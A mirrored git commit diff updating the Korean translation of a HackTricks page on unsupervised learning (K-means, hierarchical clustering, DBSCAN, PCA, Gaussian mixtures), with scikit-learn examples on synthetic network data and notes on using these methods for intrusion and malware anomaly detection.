mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Unsupervised-Learning-Algorithms.md', 'src/binary
This commit is contained in:
parent
b6a963bb72
commit
22d92ce403
@ -4,35 +4,34 @@
|
||||
|
||||
## 비지도 학습
|
||||
|
||||
비지도 학습은 레이블이 없는 응답으로 데이터에 대해 모델을 훈련시키는 기계 학습의 한 유형입니다. 목표는 데이터 내에서 패턴, 구조 또는 관계를 찾는 것입니다. 레이블이 있는 예제에서 모델이 학습하는 감독 학습과 달리, 비지도 학습 알고리즘은 레이블이 없는 데이터로 작업합니다.
|
||||
비지도 학습은 레이블이 없는 응답으로 데이터에 대해 모델을 훈련시키는 기계 학습의 한 유형입니다. 목표는 데이터 내에서 패턴, 구조 또는 관계를 찾는 것입니다. 레이블이 있는 예제에서 모델이 학습하는 감독 학습과 달리, 비지도 학습 알고리즘은 레이블이 없는 데이터로 작업합니다.
|
||||
비지도 학습은 클러스터링, 차원 축소 및 이상 탐지와 같은 작업에 자주 사용됩니다. 데이터 내의 숨겨진 패턴을 발견하거나 유사한 항목을 그룹화하거나 데이터의 본질적인 특성을 유지하면서 복잡성을 줄이는 데 도움이 될 수 있습니다.
|
||||
|
||||
### K-평균 클러스터링
|
||||
|
||||
K-평균은 각 점을 가장 가까운 클러스터 평균에 할당하여 데이터를 K개의 클러스터로 분할하는 중심 기반 클러스터링 알고리즘입니다. 알고리즘은 다음과 같이 작동합니다:
|
||||
1. **초기화**: K개의 초기 클러스터 중심(센트로이드)을 선택합니다. 보통 무작위로 또는 k-means++와 같은 더 스마트한 방법을 통해 선택합니다.
|
||||
2. **할당**: 거리 메트릭(예: 유클리드 거리)을 기반으로 각 데이터 포인트를 가장 가까운 센트로이드에 할당합니다.
|
||||
3. **업데이트**: 각 클러스터에 할당된 모든 데이터 포인트의 평균을 취하여 센트로이드를 재계산합니다.
|
||||
K-평균은 각 점을 가장 가까운 클러스터 평균에 할당하여 데이터를 K개의 클러스터로 분할하는 중심 기반 클러스터링 알고리즘입니다. 알고리즘은 다음과 같이 작동합니다:
|
||||
1. **초기화**: K개의 초기 클러스터 중심(센트로이드)을 선택합니다. 보통 무작위로 또는 k-means++와 같은 더 스마트한 방법을 통해 선택합니다.
|
||||
2. **할당**: 거리 메트릭(예: 유클리드 거리)을 기반으로 각 데이터 포인트를 가장 가까운 센트로이드에 할당합니다.
|
||||
3. **업데이트**: 각 클러스터에 할당된 모든 데이터 포인트의 평균을 취하여 센트로이드를 재계산합니다.
|
||||
4. **반복**: 클러스터 할당이 안정화될 때까지(센트로이드가 더 이상 크게 이동하지 않음) 2-3단계를 반복합니다.
|
||||
|
||||
> [!TIP]
|
||||
> *사이버 보안에서의 사용 사례:* K-평균은 네트워크 이벤트를 클러스터링하여 침입 탐지에 사용됩니다. 예를 들어, 연구자들은 KDD Cup 99 침입 데이터셋에 K-평균을 적용하여 트래픽을 정상 클러스터와 공격 클러스터로 효과적으로 분할했습니다. 실제로 보안 분석가는 로그 항목이나 사용자 행동 데이터를 클러스터링하여 유사한 활동 그룹을 찾을 수 있습니다. 잘 형성된 클러스터에 속하지 않는 모든 포인트는 이상을 나타낼 수 있습니다(예: 새로운 맬웨어 변종이 자체 작은 클러스터를 형성하는 경우). K-평균은 행동 프로필이나 특성 벡터를 기반으로 이진 파일을 그룹화하여 맬웨어 가족 분류에도 도움을 줄 수 있습니다.
|
||||
> [!TIP]
|
||||
> *사이버 보안에서의 사용 사례:* K-평균은 네트워크 이벤트를 클러스터링하여 침입 탐지에 사용됩니다. 예를 들어, 연구자들은 KDD Cup 99 침입 데이터셋에 K-평균을 적용하여 트래픽을 정상 클러스터와 공격 클러스터로 효과적으로 분할했습니다. 실제로 보안 분석가는 로그 항목이나 사용자 행동 데이터를 클러스터링하여 유사한 활동 그룹을 찾을 수 있습니다. 잘 형성된 클러스터에 속하지 않는 포인트는 이상 징후를 나타낼 수 있습니다(예: 새로운 맬웨어 변종이 자체 작은 클러스터를 형성하는 경우). K-평균은 행동 프로필이나 특성 벡터를 기반으로 이진 파일을 그룹화하여 맬웨어 가족 분류에도 도움을 줄 수 있습니다.
|
||||
|
||||
#### K 선택
|
||||
클러스터 수(K)는 알고리즘을 실행하기 전에 정의해야 하는 하이퍼파라미터입니다. Elbow Method 또는 Silhouette Score와 같은 기술은 클러스터링 성능을 평가하여 K에 적절한 값을 결정하는 데 도움이 될 수 있습니다:
|
||||
|
||||
- **Elbow Method**: 각 점에서 할당된 클러스터 센트로이드까지의 제곱 거리의 합을 K의 함수로 플롯합니다. 감소율이 급격히 변화하는 "팔꿈치" 지점을 찾아 적절한 클러스터 수를 나타냅니다.
|
||||
- **Elbow Method**: 각 점에서 할당된 클러스터 센트로이드까지의 제곱 거리의 합을 K의 함수로 플롯합니다. 감소율이 급격히 변화하는 "팔꿈치" 지점을 찾아 적절한 클러스터 수를 나타냅니다.
|
||||
- **Silhouette Score**: 다양한 K 값에 대한 실루엣 점수를 계산합니다. 더 높은 실루엣 점수는 더 잘 정의된 클러스터를 나타냅니다.
|
||||
|
||||
#### 가정 및 한계
|
||||
|
||||
K-평균은 **클러스터가 구형이고 크기가 동일하다고 가정**하며, 이는 모든 데이터셋에 대해 성립하지 않을 수 있습니다. 초기 센트로이드 배치에 민감하며 지역 최소값으로 수렴할 수 있습니다. 또한 K-평균은 밀도가 다르거나 비구형 모양의 데이터셋 및 서로 다른 스케일의 특성에는 적합하지 않습니다. 모든 특성이 거리 계산에 동일하게 기여하도록 보장하기 위해 정규화 또는 표준화와 같은 전처리 단계가 필요할 수 있습니다.
|
||||
|
||||
<details>
|
||||
<summary>예시 -- 네트워크 이벤트 클러스터링
|
||||
</summary>
|
||||
아래에서 우리는 네트워크 트래픽 데이터를 시뮬레이션하고 K-평균을 사용하여 클러스터링합니다. 연결 지속 시간 및 바이트 수와 같은 특성을 가진 이벤트가 있다고 가정합니다. 우리는 "정상" 트래픽의 3개 클러스터와 공격 패턴을 나타내는 1개의 작은 클러스터를 생성합니다. 그런 다음 K-평균을 실행하여 이들이 분리되는지 확인합니다.
|
||||
</details>
|
||||
<details>
|
||||
<summary>예시 -- 네트워크 이벤트 클러스터링
|
||||
</summary>
|
||||
아래에서는 네트워크 트래픽 데이터를 시뮬레이션하고 K-평균을 사용하여 클러스터링합니다. 연결 지속 시간 및 바이트 수와 같은 특성을 가진 이벤트가 있다고 가정합니다. "정상" 트래픽의 3개 클러스터와 공격 패턴을 나타내는 1개의 작은 클러스터를 생성합니다. 그런 다음 K-평균을 실행하여 이들이 분리되는지 확인합니다.
|
||||
```python
|
||||
import numpy as np
|
||||
from sklearn.cluster import KMeans
|
||||
@ -58,7 +57,7 @@ print("Cluster centers (duration, bytes):")
|
||||
for idx, center in enumerate(kmeans.cluster_centers_):
|
||||
print(f" Cluster {idx}: {center}")
|
||||
```
|
||||
이 예제에서 K-Means는 4개의 클러스터를 찾아야 합니다. 비정상적으로 높은 지속 시간(~200)을 가진 작은 공격 클러스터는 정상 클러스터와의 거리로 인해 이상적으로 자체 클러스터를 형성할 것입니다. 우리는 결과를 해석하기 위해 클러스터 크기와 중심을 출력합니다. 실제 시나리오에서는 몇 개의 포인트로 클러스터에 잠재적 이상으로 레이블을 붙이거나 악의적인 활동을 위해 구성원을 검사할 수 있습니다.
|
||||
이 예제에서 K-Means는 4개의 클러스터를 찾아야 합니다. 비정상적으로 높은 지속 시간(~200)을 가진 작은 공격 클러스터는 정상 클러스터와의 거리로 인해 이상적으로 자체 클러스터를 형성할 것입니다. 우리는 결과를 해석하기 위해 클러스터 크기와 중심을 출력합니다. 실제 시나리오에서는 몇 개의 포인트로 클러스터에 잠재적 이상 징후로 레이블을 붙이거나 악의적인 활동을 위해 구성원을 검사할 수 있습니다.
|
||||
|
||||
### 계층적 클러스터링
|
||||
|
||||
@ -76,7 +75,7 @@ print(f" Cluster {idx}: {center}")
|
||||
|
||||
#### 가정 및 한계
|
||||
|
||||
계층적 클러스터링은 특정 클러스터 형태를 가정하지 않으며 중첩된 클러스터를 포착할 수 있습니다. 이는 그룹 간의 분류법이나 관계를 발견하는 데 유용합니다(예: 악성 코드를 패밀리 하위 그룹으로 그룹화). 이는 결정적이며(무작위 초기화 문제 없음) 주요 장점은 덴드로그램으로, 데이터의 클러스터링 구조에 대한 통찰력을 모든 규모에서 제공합니다 – 보안 분석가는 의미 있는 클러스터를 식별하기 위해 적절한 컷오프를 결정할 수 있습니다. 그러나 계산 비용이 많이 들며(일반적으로 $O(n^2)$ 시간 또는 단순 구현의 경우 더 나쁨) 매우 큰 데이터 세트에는 실현 가능하지 않습니다. 또한 이는 탐욕적 절차로, 병합이나 분할이 이루어진 후에는 되돌릴 수 없으며, 초기 실수로 인해 최적이 아닌 클러스터가 발생할 수 있습니다. 이상치는 일부 연결 전략(단일 연결이 이상치를 통해 클러스터가 연결되는 "체인" 효과를 유발할 수 있음)에 영향을 미칠 수 있습니다.
|
||||
계층적 클러스터링은 특정 클러스터 형태를 가정하지 않으며 중첩된 클러스터를 포착할 수 있습니다. 이는 그룹 간의 분류법이나 관계를 발견하는 데 유용합니다(예: 악성 코드를 패밀리 하위 그룹으로 그룹화). 이는 결정적이며(무작위 초기화 문제 없음) 주요 장점은 덴드로그램으로, 모든 규모에서 데이터의 클러스터링 구조에 대한 통찰력을 제공합니다 – 보안 분석가는 의미 있는 클러스터를 식별하기 위해 적절한 컷오프를 결정할 수 있습니다. 그러나 계산 비용이 많이 들며(일반적으로 $O(n^2)$ 시간 또는 단순 구현의 경우 더 나쁨) 매우 큰 데이터 세트에는 실현 가능하지 않습니다. 또한 이는 탐욕적 절차로, 병합이나 분할이 이루어진 후에는 되돌릴 수 없으며, 초기 실수로 인해 최적이 아닌 클러스터가 발생할 수 있습니다. 이상치는 일부 연결 전략(단일 연결이 클러스터가 이상치를 통해 연결되는 "체인" 효과를 유발할 수 있음)에 영향을 미칠 수 있습니다.
|
||||
|
||||
<details>
|
||||
<summary>예제 -- 이벤트의 응집적 클러스터링
|
||||
@ -104,27 +103,27 @@ print(f"Cluster sizes for 3 clusters: {np.bincount(clusters_3)}")
|
||||
|
||||
### DBSCAN (밀도 기반 공간 클러스터링 알고리즘)
|
||||
|
||||
DBSCAN은 밀도 기반 클러스터링 알고리즘으로, 밀집된 포인트를 함께 그룹화하고 저밀도 지역의 포인트를 이상치로 표시합니다. 이는 다양한 밀도와 비구형 형태의 데이터셋에 특히 유용합니다.
|
||||
DBSCAN은 밀도 기반 클러스터링 알고리즘으로, 밀집된 점들을 함께 그룹화하고 저밀도 지역의 점들을 이상치로 표시합니다. 이는 다양한 밀도와 비구형 형태를 가진 데이터셋에 특히 유용합니다.
|
||||
|
||||
DBSCAN은 두 개의 매개변수를 정의하여 작동합니다:
|
||||
- **Epsilon (ε)**: 동일 클러스터의 일부로 간주될 두 포인트 간의 최대 거리.
|
||||
- **MinPts**: 밀집 지역(핵심 포인트)을 형성하는 데 필요한 최소 포인트 수.
|
||||
- **Epsilon (ε)**: 동일 클러스터의 일부로 간주될 두 점 간의 최대 거리.
|
||||
- **MinPts**: 밀집 지역(핵심 점)을 형성하는 데 필요한 최소 점 수.
|
||||
|
||||
DBSCAN은 핵심 포인트, 경계 포인트 및 노이즈 포인트를 식별합니다:
|
||||
- **핵심 포인트**: ε 거리 내에 최소 MinPts 이웃이 있는 포인트.
|
||||
- **경계 포인트**: 핵심 포인트의 ε 거리 내에 있지만 MinPts 이웃이 적은 포인트.
|
||||
- **노이즈 포인트**: 핵심 포인트도 경계 포인트도 아닌 포인트.
|
||||
DBSCAN은 핵심 점, 경계 점 및 노이즈 점을 식별합니다:
|
||||
- **핵심 점**: ε 거리 내에 최소 MinPts 이웃이 있는 점.
|
||||
- **경계 점**: 핵심 점의 ε 거리 내에 있지만 MinPts 이웃이 부족한 점.
|
||||
- **노이즈 점**: 핵심 점도 경계 점도 아닌 점.
|
||||
|
||||
클러스터링은 방문하지 않은 핵심 포인트를 선택하고 이를 새로운 클러스터로 표시한 다음, 그로부터 밀도에 도달 가능한 모든 포인트(핵심 포인트 및 그 이웃 등)를 재귀적으로 추가하는 방식으로 진행됩니다. 경계 포인트는 인근 핵심의 클러스터에 추가됩니다. 모든 도달 가능한 포인트를 확장한 후, DBSCAN은 다른 방문하지 않은 핵심으로 이동하여 새로운 클러스터를 시작합니다. 어떤 핵심에도 도달하지 못한 포인트는 노이즈로 남아 있습니다.
|
||||
클러스터링은 방문하지 않은 핵심 점을 선택하고 이를 새로운 클러스터로 표시한 다음, 그로부터 밀도에 도달 가능한 모든 점(핵심 점 및 그 이웃 등)을 재귀적으로 추가하는 방식으로 진행됩니다. 경계 점은 인근 핵심의 클러스터에 추가됩니다. 모든 도달 가능한 점을 확장한 후, DBSCAN은 다른 방문하지 않은 핵심으로 이동하여 새로운 클러스터를 시작합니다. 어떤 핵심에 의해서도 도달되지 않은 점은 노이즈로 남아 있습니다.
|
||||
|
||||
> [!TIP]
|
||||
> *사이버 보안에서의 사용 사례:* DBSCAN은 네트워크 트래픽에서 이상 탐지에 유용합니다. 예를 들어, 정상 사용자 활동은 특성 공간에서 하나 이상의 밀집 클러스터를 형성할 수 있으며, 새로운 공격 행동은 DBSCAN이 노이즈(이상치)로 레이블을 붙일 산재된 포인트로 나타납니다. 이는 포트 스캔이나 서비스 거부 트래픽을 희박한 포인트 지역으로 감지할 수 있는 네트워크 흐름 기록을 클러스터링하는 데 사용되었습니다. 또 다른 응용 프로그램은 악성코드 변종 그룹화입니다: 대부분의 샘플이 가족별로 클러스터링되지만 몇 개는 어디에도 맞지 않는 경우, 그 몇 개는 제로데이 악성코드일 수 있습니다. 노이즈를 플래그할 수 있는 능력 덕분에 보안 팀은 이러한 이상치를 조사하는 데 집중할 수 있습니다.
|
||||
> *사이버 보안에서의 사용 사례:* DBSCAN은 네트워크 트래픽에서 이상 탐지에 유용합니다. 예를 들어, 정상 사용자 활동은 특성 공간에서 하나 이상의 밀집 클러스터를 형성할 수 있으며, 새로운 공격 행동은 DBSCAN이 노이즈(이상치)로 레이블을 붙일 산재된 점으로 나타납니다. 이는 포트 스캔이나 서비스 거부 트래픽을 점의 희소 지역으로 감지할 수 있는 네트워크 흐름 기록을 클러스터링하는 데 사용되었습니다. 또 다른 응용 프로그램은 악성코드 변종 그룹화입니다: 대부분의 샘플이 가족별로 클러스터링되지만 몇 개는 어디에도 맞지 않는 경우, 그 몇 개는 제로데이 악성코드일 수 있습니다. 노이즈를 플래그할 수 있는 능력 덕분에 보안 팀은 이러한 이상치를 조사하는 데 집중할 수 있습니다.
|
||||
|
||||
#### 가정 및 한계
|
||||
|
||||
**가정 및 강점:** DBSCAN은 구형 클러스터를 가정하지 않습니다 – 임의의 형태의 클러스터(체인형 또는 인접 클러스터 등)를 찾을 수 있습니다. 데이터 밀도에 따라 클러스터 수를 자동으로 결정하고 이상치를 노이즈로 효과적으로 식별할 수 있습니다. 이는 불규칙한 형태와 노이즈가 있는 실제 데이터에 강력합니다. 이상치에 대해 강건합니다(K-Means와 달리 클러스터에 강제로 포함시키지 않음). 클러스터가 대략 균일한 밀도를 가질 때 잘 작동합니다.
|
||||
**가정 및 강점:** DBSCAN은 구형 클러스터를 가정하지 않습니다 – 임의의 형태의 클러스터(체인형 또는 인접 클러스터 등)를 찾을 수 있습니다. 데이터 밀도에 따라 클러스터 수를 자동으로 결정하며, 이상치를 노이즈로 효과적으로 식별할 수 있습니다. 이는 불규칙한 형태와 노이즈를 가진 실제 데이터에 강력합니다. 이상치에 대해 강건합니다(K-Means와 달리 클러스터에 강제로 포함시키지 않음). 클러스터가 대략 균일한 밀도를 가질 때 잘 작동합니다.
|
||||
|
||||
**한계:** DBSCAN의 성능은 적절한 ε 및 MinPts 값을 선택하는 데 의존합니다. 밀도가 다양한 데이터에 대해 어려움을 겪을 수 있습니다 – 단일 ε는 밀집 클러스터와 희박 클러스터를 모두 수용할 수 없습니다. ε가 너무 작으면 대부분의 포인트를 노이즈로 레이블링하고, 너무 크면 클러스터가 잘못 병합될 수 있습니다. 또한, DBSCAN은 매우 큰 데이터셋에서 비효율적일 수 있습니다(단순하게 $O(n^2)$, 그러나 공간 인덱싱이 도움이 될 수 있습니다). 고차원 특성 공간에서는 “ε 내 거리” 개념이 덜 의미 있게 될 수 있으며(차원의 저주), DBSCAN은 신중한 매개변수 조정이 필요하거나 직관적인 클러스터를 찾지 못할 수 있습니다. 그럼에도 불구하고 HDBSCAN과 같은 확장은 일부 문제(예: 밀도 변화)를 해결합니다.
|
||||
**한계:** DBSCAN의 성능은 적절한 ε 및 MinPts 값을 선택하는 데 의존합니다. 밀도가 다양한 데이터에 대해 어려움을 겪을 수 있습니다 – 단일 ε는 밀집 클러스터와 희소 클러스터를 모두 수용할 수 없습니다. ε가 너무 작으면 대부분의 점을 노이즈로 레이블링하고, 너무 크면 클러스터가 잘못 병합될 수 있습니다. 또한, DBSCAN은 매우 큰 데이터셋에서 비효율적일 수 있습니다(단순하게 $O(n^2)$, 그러나 공간 인덱싱이 도움이 될 수 있습니다). 고차원 특성 공간에서는 “ε 내 거리” 개념이 덜 의미 있게 될 수 있으며(차원의 저주), DBSCAN은 신중한 매개변수 조정이 필요하거나 직관적인 클러스터를 찾지 못할 수 있습니다. 그럼에도 불구하고 HDBSCAN과 같은 확장은 일부 문제(예: 밀도 변화)를 해결합니다.
|
||||
|
||||
<details>
|
||||
<summary>예시 -- 노이즈가 있는 클러스터링
|
||||
@ -150,7 +149,7 @@ num_noise = np.sum(labels == -1)
|
||||
print(f"DBSCAN found {num_clusters} clusters and {num_noise} noise points")
|
||||
print("Cluster labels for first 10 points:", labels[:10])
|
||||
```
|
||||
이 스니펫에서는 `eps`와 `min_samples`를 데이터 스케일에 맞게 조정했습니다(특징 단위로 15.0, 클러스터를 형성하기 위해 5개의 포인트 필요). DBSCAN은 2개의 클러스터(정상 트래픽 클러스터)를 찾아야 하며, 5개의 주입된 이상치를 노이즈로 플래그해야 합니다. 이를 검증하기 위해 클러스터 수와 노이즈 포인트 수를 출력합니다. 실제 환경에서는 ε(ε를 선택하기 위해 k-거리 그래프 휴리스틱 사용)와 MinPts(일반적으로 데이터 차원 + 1로 설정) 위를 반복하여 안정적인 클러스터링 결과를 찾을 수 있습니다. 노이즈를 명시적으로 레이블링하는 기능은 추가 분석을 위한 잠재적 공격 데이터를 분리하는 데 도움이 됩니다.
|
||||
이 스니펫에서는 `eps`와 `min_samples`를 데이터 스케일에 맞게 조정했습니다(특징 단위로 15.0, 클러스터를 형성하기 위해 5개의 포인트 필요). DBSCAN은 2개의 클러스터(정상 트래픽 클러스터)를 찾아야 하며, 5개의 주입된 이상치를 노이즈로 플래그해야 합니다. 이를 검증하기 위해 클러스터 수와 노이즈 포인트 수를 출력합니다. 실제 환경에서는 ε(ε를 선택하기 위해 k-거리 그래프 휴리스틱 사용)와 MinPts(일반적으로 데이터 차원 + 1로 설정됨)를 반복하여 안정적인 클러스터링 결과를 찾을 수 있습니다. 노이즈를 명시적으로 레이블링하는 기능은 추가 분석을 위한 잠재적 공격 데이터를 분리하는 데 도움이 됩니다.
|
||||
|
||||
</details>
|
||||
|
||||
@ -166,7 +165,7 @@ PCA는 데이터의 주성분을 식별하여 최대 분산 방향을 찾습니
|
||||
3. **고유값 분해**: 공분산 행렬에 대해 고유값 분해를 수행하여 고유값과 고유벡터를 얻습니다.
|
||||
4. **주성분 선택**: 고유값을 내림차순으로 정렬하고 가장 큰 고유값에 해당하는 상위 K개의 고유벡터를 선택합니다. 이 고유벡터는 새로운 특징 공간을 형성합니다.
|
||||
5. **데이터 변환**: 선택된 주성분을 사용하여 원본 데이터를 새로운 특징 공간에 투영합니다.
|
||||
PCA는 데이터 시각화, 노이즈 감소 및 다른 머신러닝 알고리즘의 전처리 단계로 널리 사용됩니다. 데이터의 차원을 줄이면서 본질적인 구조를 유지하는 데 도움이 됩니다.
|
||||
PCA는 데이터 시각화, 노이즈 감소 및 다른 머신 러닝 알고리즘의 전처리 단계로 널리 사용됩니다. 데이터의 차원을 줄이면서 본질적인 구조를 유지하는 데 도움이 됩니다.
|
||||
|
||||
#### 고유값과 고유벡터
|
||||
|
||||
@ -177,9 +176,9 @@ A가 정방 행렬이고, v가 0이 아닌 벡터라고 가정합시다: `A * v
|
||||
- A는 [ [1, 2], [2, 1]]과 같은 정방 행렬입니다(예: 공분산 행렬)
|
||||
- v는 고유벡터입니다(예: [1, 1])
|
||||
|
||||
그럼 `A * v = [ [1, 2], [2, 1]] * [1, 1] = [3, 3]`가 되어 고유값 λ는 고유벡터 v에 곱해져 λ = 3이 됩니다.
|
||||
그럼, `A * v = [ [1, 2], [2, 1]] * [1, 1] = [3, 3]`가 되어 고유값 λ는 고유벡터 v에 곱해져 λ = 3이 됩니다.
|
||||
|
||||
#### PCA의 고유값과 고유벡터
|
||||
#### PCA에서의 고유값과 고유벡터
|
||||
|
||||
예를 들어 설명해 보겠습니다. 100x100 픽셀의 얼굴 그레이스케일 이미지가 많은 데이터셋이 있다고 가정해 보겠습니다. 각 픽셀은 특징으로 간주될 수 있으므로 이미지당 10,000개의 특징(또는 이미지당 10,000개의 구성 요소 벡터)이 있습니다. 이 데이터셋의 차원을 PCA를 사용하여 줄이려면 다음 단계를 따릅니다:
|
||||
|
||||
@ -198,13 +197,13 @@ A가 정방 행렬이고, v가 0이 아닌 벡터라고 가정합시다: `A * v
|
||||
|
||||
#### 가정 및 한계
|
||||
|
||||
PCA는 **분산의 주축이 의미가 있다고 가정합니다** – 이는 선형 방법이므로 데이터의 선형 상관관계를 포착합니다. PCA는 특징 공분산만 사용하므로 비지도 학습입니다. PCA의 장점에는 노이즈 감소(작은 분산 구성 요소는 종종 노이즈에 해당)와 특징의 비상관화가 포함됩니다. 이는 중간 정도의 높은 차원에 대해 계산적으로 효율적이며 종종 다른 알고리즘의 전처리 단계로 유용합니다(차원의 저주를 완화하기 위해). 한계 중 하나는 PCA가 선형 관계에만 제한된다는 것입니다 – 복잡한 비선형 구조는 포착하지 못합니다(오토인코더나 t-SNE는 가능할 수 있습니다). 또한 PCA 구성 요소는 원래 특징 측면에서 해석하기 어려울 수 있습니다(원래 특징의 조합이기 때문입니다). 사이버 보안에서는 주의해야 합니다: 낮은 분산 특징에서 미세한 변화만 일으키는 공격은 상위 PC에서 나타나지 않을 수 있습니다(왜냐하면 PCA는 반드시 "흥미로움"이 아니라 분산을 우선시하기 때문입니다).
|
||||
PCA는 **분산의 주축이 의미가 있다고 가정합니다** – 이는 선형 방법이므로 데이터의 선형 상관관계를 포착합니다. PCA는 특징 공분산만 사용하므로 비지도 학습입니다. PCA의 장점에는 노이즈 감소(작은 분산 구성 요소는 종종 노이즈에 해당)와 특징의 비상관화가 포함됩니다. 이는 중간 정도의 고차원에 대해 계산적으로 효율적이며 종종 다른 알고리즘의 전처리 단계로 유용합니다(차원의 저주를 완화하기 위해). 한계 중 하나는 PCA가 선형 관계에만 제한된다는 것입니다 – 복잡한 비선형 구조는 포착하지 못합니다(오토인코더나 t-SNE는 포착할 수 있습니다). 또한 PCA 구성 요소는 원래 특징 측면에서 해석하기 어려울 수 있습니다(원래 특징의 조합이기 때문입니다). 사이버 보안에서는 주의해야 합니다: 낮은 분산 특징에서 미세한 변화만 일으키는 공격은 상위 PC에서 나타나지 않을 수 있습니다(왜냐하면 PCA는 반드시 "흥미로움"이 아니라 분산을 우선시하기 때문입니다).
|
||||
|
||||
<details>
|
||||
<summary>예제 -- 네트워크 데이터의 차원 축소
|
||||
</summary>
|
||||
|
||||
여러 특징(예: 지속 시간, 바이트, 수)으로 구성된 네트워크 연결 로그가 있다고 가정해 보겠습니다. 우리는 몇 가지 특징 간의 상관관계가 있는 합성 4차원 데이터셋을 생성하고 PCA를 사용하여 시각화 또는 추가 분석을 위해 2차원으로 축소할 것입니다.
|
||||
여러 특징(예: 지속 시간, 바이트, 수)으로 구성된 네트워크 연결 로그가 있다고 가정해 보겠습니다. 우리는 몇 가지 특징 간의 상관관계를 가진 합성 4차원 데이터셋을 생성하고 PCA를 사용하여 시각화 또는 추가 분석을 위해 2차원으로 축소할 것입니다.
|
||||
```python
|
||||
from sklearn.decomposition import PCA
|
||||
|
||||
@ -230,7 +229,7 @@ print("First 5 data points in PCA space:\n", data_2d[:5])
|
||||
|
||||
### Gaussian Mixture Models (GMM)
|
||||
|
||||
가우시안 혼합 모델은 데이터가 **알려지지 않은 매개변수를 가진 여러 가우시안(정상) 분포의 혼합에서 생성된다고 가정합니다**. 본질적으로, 이는 확률적 클러스터링 모델입니다: 각 포인트를 K개의 가우시안 구성 요소 중 하나에 부드럽게 할당하려고 합니다. 각 가우시안 구성 요소 k는 평균 벡터(μ_k), 공분산 행렬(Σ_k), 그리고 해당 클러스터의 유병률을 나타내는 혼합 가중치(π_k)를 가집니다. K-평균과 달리 GMM은 각 포인트에 각 클러스터에 속할 확률을 부여합니다.
|
||||
가우시안 혼합 모델은 데이터가 **알려지지 않은 매개변수를 가진 여러 가우시안(정상) 분포의 혼합에서 생성된다고 가정합니다**. 본질적으로, 이는 확률적 클러스터링 모델입니다: 각 포인트를 K개의 가우시안 구성 요소 중 하나에 부드럽게 할당하려고 합니다. 각 가우시안 구성 요소 k는 평균 벡터(μ_k), 공분산 행렬(Σ_k), 그리고 해당 클러스터의 유병률을 나타내는 혼합 가중치(π_k)를 가집니다. K-평균과 달리 GMM은 각 포인트에 각 클러스터에 속할 확률을 제공합니다.
|
||||
|
||||
GMM 적합은 일반적으로 기대-최대화(EM) 알고리즘을 통해 수행됩니다:
|
||||
|
||||
@ -246,21 +245,21 @@ r_{nk} = \frac{\pi_k \mathcal{N}(x_n | \mu_k, \Sigma_k)}{\sum_{j=1}^{K} \pi_j \m
|
||||
|
||||
- **M-단계(최대화)**: E-단계에서 계산된 책임을 사용하여 매개변수를 업데이트합니다:
|
||||
- 각 평균 μ_k를 포인트의 가중 평균으로 업데이트하며, 가중치는 책임입니다.
|
||||
- 클러스터 k에 할당된 포인트의 가중 공분산으로 각 공분산 Σ_k를 업데이트합니다.
|
||||
- 클러스터 k에 대한 평균 책임으로 혼합 계수 π_k를 업데이트합니다.
|
||||
- 각 공분산 Σ_k를 클러스터 k에 할당된 포인트의 가중 공분산으로 업데이트합니다.
|
||||
- 혼합 계수 π_k를 클러스터 k에 대한 평균 책임으로 업데이트합니다.
|
||||
|
||||
- **E 및 M 단계를 반복**하여 수렴할 때까지(매개변수가 안정되거나 우도 개선이 임계값 이하로 떨어질 때까지).
|
||||
- **E 및 M 단계를 반복**하여 수렴할 때까지(매개변수가 안정화되거나 우도 개선이 임계값 이하로 떨어질 때까지).
|
||||
|
||||
결과는 전체 데이터 분포를 집합적으로 모델링하는 가우시안 분포 집합입니다. 적합된 GMM을 사용하여 각 포인트를 가장 높은 확률을 가진 가우시안에 할당하여 클러스터링하거나 불확실성을 위해 확률을 유지할 수 있습니다. 새로운 포인트의 우도를 평가하여 모델에 적합한지 확인할 수도 있습니다(이상 탐지에 유용).
|
||||
|
||||
> [!TIP]
|
||||
> *사이버 보안의 사용 사례:* GMM은 정상 데이터의 분포를 모델링하여 이상 탐지에 사용할 수 있습니다: 학습된 혼합 아래에서 매우 낮은 확률을 가진 포인트는 이상으로 표시됩니다. 예를 들어, 합법적인 네트워크 트래픽 기능에 대해 GMM을 훈련할 수 있습니다; 학습된 클러스터와 유사하지 않은 공격 연결은 낮은 우도를 가질 것입니다. GMM은 클러스터가 서로 다른 모양을 가질 수 있는 활동을 클러스터링하는 데에도 사용됩니다 – 예를 들어, 각 프로필의 기능이 가우시안과 유사하지만 고유한 분산 구조를 가진 행동 프로필에 따라 사용자를 그룹화하는 경우입니다. 또 다른 시나리오는 피싱 탐지에서 합법적인 이메일 기능이 하나의 가우시안 클러스터를 형성하고, 알려진 피싱이 다른 클러스터를 형성하며, 새로운 피싱 캠페인이 기존 혼합에 비해 별도의 가우시안 또는 낮은 확률 포인트로 나타날 수 있습니다.
|
||||
> *사이버 보안의 사용 사례:* GMM은 정상 데이터의 분포를 모델링하여 이상 탐지에 사용할 수 있습니다: 학습된 혼합 아래에서 매우 낮은 확률을 가진 포인트는 이상으로 표시됩니다. 예를 들어, 합법적인 네트워크 트래픽 기능에 대해 GMM을 훈련할 수 있습니다; 학습된 클러스터와 유사하지 않은 공격 연결은 낮은 우도를 가질 것입니다. GMM은 클러스터가 서로 다른 모양을 가질 수 있는 활동을 클러스터링하는 데에도 사용됩니다 – 예를 들어, 각 프로필의 기능이 가우시안과 유사하지만 고유한 분산 구조를 가진 행동 프로필에 따라 사용자를 그룹화하는 것입니다. 또 다른 시나리오는 피싱 탐지에서 합법적인 이메일 기능이 하나의 가우시안 클러스터를 형성하고, 알려진 피싱이 다른 클러스터를 형성하며, 새로운 피싱 캠페인이 기존 혼합에 비해 별도의 가우시안 또는 낮은 확률 포인트로 나타날 수 있습니다.
|
||||
|
||||
#### 가정 및 한계
|
||||
|
||||
GMM은 공분산을 포함하는 K-평균의 일반화로, 클러스터가 타원형일 수 있습니다(구형에 국한되지 않음). 공분산이 완전할 경우 서로 다른 크기와 모양의 클러스터를 처리할 수 있습니다. 클러스터 경계가 모호할 때 소프트 클러스터링은 장점입니다 – 예를 들어, 사이버 보안에서 이벤트는 여러 공격 유형의 특성을 가질 수 있습니다; GMM은 확률로 그 불확실성을 반영할 수 있습니다. GMM은 또한 데이터의 확률 밀도 추정을 제공하여 이상치를 탐지하는 데 유용합니다(모든 혼합 구성 요소 아래에서 낮은 우도를 가진 포인트).
|
||||
